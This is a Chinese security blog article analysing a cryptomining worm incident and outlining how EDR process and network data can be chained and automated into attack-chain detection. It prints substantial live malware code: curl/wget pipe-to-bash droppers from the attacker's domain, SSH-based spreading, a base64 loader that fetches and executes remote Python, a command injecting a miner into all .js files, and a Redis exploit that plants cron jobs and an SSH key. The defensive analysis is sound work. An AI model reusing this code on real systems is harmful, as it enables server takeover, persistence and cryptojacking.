bt0sea 嘶吼专业版

攻击链分析标准化_Python

攻击链分析标准化_Python_020x00、前言

攻击链分析是最近比较火的话题,但是ATT&CK攻击模型是针对APT总结出来的,现实当中哪有那么多APT攻击?所以,很多厂商在探索处理日常碰到的针对性攻击。把检测到的安全监控点事件串联起来,形成攻击链。当然需要经过应急响应团队二次评估。

攻击链分析标准化_Python_030x01、人工分析

攻击链分析要从实际的攻击案例分析开始,所以,第一步我们要通过人工分析了解黑客入侵的来龙去脉。

做人工分析也需要有基础数据收集:

1、资产指纹功能是EDR(endpoint detection response)产品重要的功能,通过对进程、网络连接等基础数据的收集,为进一步安全场景分析提高数据支撑。

2、登陆流水,对分析暴力破解成功等账号风险问题有很大帮助。

3、网络层五元组、VPC log、一段时间内的pcap包。

4、http/https对外Post请求。

首先,我们先从主机层面进程、网络信息开始,至少需要收集以下基础信息:

"process_info": {

  "path": "/alidata/server/httpd/bin/httpd",

  "pid": 11095,

  "name": "httpd",

  "start-time": 2019-09-27 09:43:05,

  "cmdline": "/alidata/server/httpd/bin/httpd -k start",

  "username": "daemon",

  "groupname": "daemon",

  "cpu": 8.1,

  "md5": "4dcb56b10fa7f80891b06feebf0b5fbb",

  "ppid": 1360,

},

"socket_info": {

  "remoteport": 6381,

  "socktype": TCP,

  "pid": 10599,

  "name": "java",

  "remoteaddr": "192.168.171.30",

  "localaddr": "10.207.249.48",

  "status": "ESTABLISHED",

  "start-time": 2019-09-27 09:43:05,

  "localport": 53174,

},

我们在搜索process_info.cmdline字段中发现:

/bin/sh -c (curl -s http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O - http://www.jukesxdbrxd.xyz/hehe.sh)|bash -sh

下载了hehe.sh,因为内容比较多我就不完全显示(大部分代码是干掉竞争对手的进程、或者网络连接),分析几块比较有意思的代码段:

1、伪装SSH下载hehe.sh恶意脚本。

ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print 2}'|xargs kill -9

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then

  for h in (grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2>&1 &' & done

fi

2、下载内部探测恶意脚本

function e() {

nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &

touch /tmp/.38t9guft0055d0565u444gtjr5

}


if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr5" ]; then

e

fi

上面代码中base64解密后是:

#coding: utf-8

import urllib

import base64


d= 'http://www.jukesxdbrxd.xyz/ss3.py'

try:

    page=base64.b64decode(urllib.urlopen(d).read())

    exec(page)

except:

    pass

3、插入挖矿脚本

这招实在太黑了,向本机所有符合条件的.js文件中写入挖矿脚本。

find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\;

http://t.cn/EvlonFh 访问后URL:攻击链分析标准化_Python_04

同时下载了http://www.jukesxdbrxd.xyz/ss3.py 进行分析。

1、redis未授权访问扫描功能

def get_ip_list():

    try:

        url = 'ifconfig.co/ip'

        conn = httplib.HTTPConnection(url, port=80, timeout=10)

        conn.request(method='GET', url='/', )

        result = conn.getresponse()

        ip1 = result.read()

        ips1 = findall(r'\d+.\d+.', ip1)[0]

        for u in range(0, 256):

            ip_list1 = (ips1 + (str(u)))

            for g in range(1, 256):

                IP_LIST.append(ip_list1 + '.' + (str(g)))

    except Exception:

        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()

        ips2 = findall(r'\d+.\d+.', ip2)[0]

        for i in range(0, 255):

            ip_list2 = (ips2 + (str(i)))

            for g in range(1, 255):

                IP_LIST.append(ip_list2 + '.' + (str(g)))

        pass

def get_ip_list2():

    not_valid = [10,127,169,172,192]

    for i in range(0, 100000):

        first = randrange(1,227)

        while first in not_valid:

            first = randrange(1,227)

        ip = ".".join([str(first),str(randrange(0,256)),

        str(randrange(0,256)),str(randrange(0,256))])

        IP_LIST.append(ip)

def runPortscan():

    for x in range(99999):

        get_ip_list2()

        for host in IP_LIST:

            scanner.lck.acquire()

            if len(scanner.tlist) >= scanner.maxthreads:

                scanner.lck.release()

                scanner.evnt.wait()

            else:

                scanner.lck.release()

            scanner.newthread(host)

        for t in scanner.tlist:

            t.join()

在主机上的执行结果:

netstat -antup

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      7506/0          

tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN      7743/1          

tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN      7845/2          

tcp        0      1 10.0.0.26:56082         207.158.88.30:6379      SYN_SENT    7999/python     

tcp        0      1 10.0.0.26:54058         61.x.166.211:6379     SYN_SENT    7999/python     

tcp        0      1 10.0.0.26:42164         33.x.249.227:6379     SYN_SENT    7999/python     

tcp        0      1 10.0.0.26:52206         25.x.45.0:6379        SYN_SENT    7999/python     

tcp        0      1 10.0.0.26:36772         210.x.3.9:6379         SYN_SENT    7999/python     

tcp        0      1 10.0.0.26:60696         70.186.8.29:6379        SYN_SENT    

...(省略,后面还有很多)

tcp        0     16 10.0.0.26:54142         115.230.124.187:6379    ESTABLISHED 7999/python         

tcp        0      0 10.0.0.26:22            106.38.115.24:12957     ESTABLISHED 7845/2              

tcp        0      0 10.0.0.26:22            106.38.115.24:12955     ESTABLISHED 7506/0

2、如果存在redis权限,拷贝sshkey到目标主机。通过redis导出文件方式增加C2的秘钥。

 SKEY="\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBoaGW7s5jkS7HBHz3S007pxTSSjuF16E2UBoDYBG3xrOVTf504K82It6RncEp8jEN5LxoePNGDatJYEsRLSyRyUuGDp1jdBW/yTa5dMQm/29UQ7VDvqF40CN44wemG0edFHxBLLSmNBgPfapuumePxSbLVTlEUb5tpEqiTADx30KFZtKTt1ov549iF4Uw/jLRCP80zPqmZgeUxGRt/jM3LnvJ1W1M2S2BLFbHovMuLRFKg8FCUrEe23V+6Vp4l7A4SgwxQ+4O4JKlZIoiaG7HkC0jhDVdeU9RdvI4uAaBSMed8fgmvFpBVXbG5aGHuYNiODWYiaWGQeCyK0ua+g5N root@localhost\\n#"

        try:

            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s2.settimeout(3)

            x = s2.connect_ex((self.host, 6379))

            if x == 0:

                DFDIR=DFRDB='N/A'

                stt1=stt2=stt3=stt4=stt5=-9

                tmp=rd(s2, 'config get dir\r\n')

                if "Authentication required" in str(tmp): stt1=-10

                elif "-ERR unknown command" not in str(tmp):

                    if 'dir' in str(tmp): DFDIR=(tmp.split('dir'))[1].splitlines()[2]

                    tmp=rd(s2, 'config get dbfilename\r\n')

                    if 'dbfilename' in str(tmp): DFRDB=(tmp.split('dbfilename'))[1].splitlines()[2]

                    rs=rd(s2, 'config set dbfilename root\r\n')

                    if "+OK" in str(rs):

                        rs=rd(s2, 'config set rdbcompression no\r\n')

                        if "+OK" in str(rs):

                            write=rd(s2, 'flushall\r\n')

                            if "write against a read only" in str(write):

                                rd(s2, 'SLAVEOF NO ONE\r\n')

                                write=rd(s2, 'flushall\r\n')

                            if "write against a read only" not in str(write):

                                K1=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))

                                K2=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))

                                K3=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))

                                CF=''.join(random.choice(string.lowercase) for x in range(random.randint(6, 18)))

                                rs=rd(s2, 'config set stop-writes-on-bgsave-error no\r\n')

                                #rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')

                                rs=rd(s2, 'set '+K2+' "'+C2+'"\r\n')

                                apt=chkdir(s2, '/usr/share/bug/apt/')

                                if apt == -4:

                                    fml='N.'

                                    stt1=chkdir(s2, '/var/spool/cron')

                                else:

                                    fml='Debian.'

                                    stt1=chkdir(s2, '/var/spool/cron/crontabs')

                                pine=chkdir(s2, '/etc/crontabs')

                                rs=rd(s2, 'del '+K2+'\r\n')

                                rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')

                                rs=rd(s2, 'config set dbfilename .'+CF+'\r\n')

                                stt2=chkdir(s2, '/etc/cron.d')

                                rs=rd(s2, 'config set dbfilename crontab\r\n')

                                stt22=chkdir(s2, '/etc')

                                if stt2 < 2: stt2=stt22

                                rs=rd(s2, 'del '+K1+'\r\n')

                                rs=rd(s2, 'config set dbfilename authorized_keys\r\n')

                                rs=rd(s2, 'set '+K3+' "'+SKEY+'"\r\n')

                                stt3=chkdir(s2, '/root/.ssh')

                                stt4=chkdir(s2, '/home/ubuntu/.ssh')

                                #time.sleep(1)

                                rs=rd(s2, 'del '+K3+'\r\n')

                            rs=rd(s2, 'config set rdbcompression yes\r\n')

                            rs=rd(s2, 'config set stop-writes-on-bgsave-error yes\r\n')

                        if "cron" not in str(DFDIR) and ".ssh" not in str(DFDIR):

                            rs=rd(s2, 'config set dir '+DFDIR+'\r\n')

                            rs=rd(s2, 'config set dbfilename '+DFRDB+'\r\n')

                        else:

                            rs=rd(s2, 'config set dir /var/lib/redis\r\n')

                            rs=rd(s2, 'config set dbfilename dump.rdb\r\n')

            s2.close()

        except Exception:

            pass

        

        scanner.lck.acquire()

        scanner.tlist.remove(self)

        if len(scanner.tlist) < scanner.maxthreads:

            scanner.evnt.set()

            scanner.evnt.clear()

        scanner.lck.release()

3、建立外联下载恶意软件通道。

 def run(self):

        RHOST='http://jukesxdbrxd.xyz/'

        CHKCURL='tbin=$(command -v passwd); bpath=$(dirname \\"${tbin}\\"); curl=\\"curl\\"; if [ $(curl --version 2>/dev/null|grep \\"curl \\"|wc -l) -eq 0 ]; then curl=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"CURLOPT_VERBOSE\\" && curl=\\"$f\\" && break; done; fi; fi; wget=\\"wget\\"; if [ $(wget --version 2>/dev/null|grep \\"wgetrc \\"|wc -l) -eq 0 ]; then wget=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"to <bug-wget@gnu.org>\\" && wget=\\"$f\\" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i \\".onion.\\"|wc -l) -ne 0 ]; then echo \\"127.0.0.1 localhost\\" > /etc/hosts >/dev/null 2>&1; fi; '

        RPATH1='hehe.sh'

        TIMEOUT='40'

        COPTS='-fsSLk --max-time '+TIMEOUT

        WOPTS='--quiet --no-check-certificate --timeout='+TIMEOUT

        C1='\\n\\n*/1 * * * * root ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'

        C2='\\n\\n*/1 * * * * ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'

在主机上的执行结果:

root@Server-xxxxx:~# netstat -antup |grep EST

tcp        0     36 10.0.0.26:22            106.38.115.24:12956     ESTABLISHED 7743/1   

tcp        0      0 10.0.0.26:22            106.38.115.24:12957     ESTABLISHED 7845/2   

tcp        0      0 10.0.0.26:22            106.38.115.24:12955     ESTABLISHED 7506/0

攻击链分析标准化_Python_050x02、分析自动化

我们大致了解了黑客程序入侵手段,那么我们如何自动化整个查询过程。

异常获取:

1、清洗所有进程cmdline数据,去除到空字段等异常情况。

2、把所有进程cmdline数据归一化。

3、与7天白名单基线对比,筛选出不在基线中的进程cmdline

4、提取存在主机安全告警的cmdline数据,清洗后,进行相识度对比,curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2

5、在网络流程层提取POST流量,,<?xml version=”1.0” <string>curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh|bash </string>

6、经过误报处理后,发现的告警就是我们想要的。

本文为嘶吼特约作者 bt0sea 原创文章,未经授权禁止转载。

攻击链分析标准化_Python_06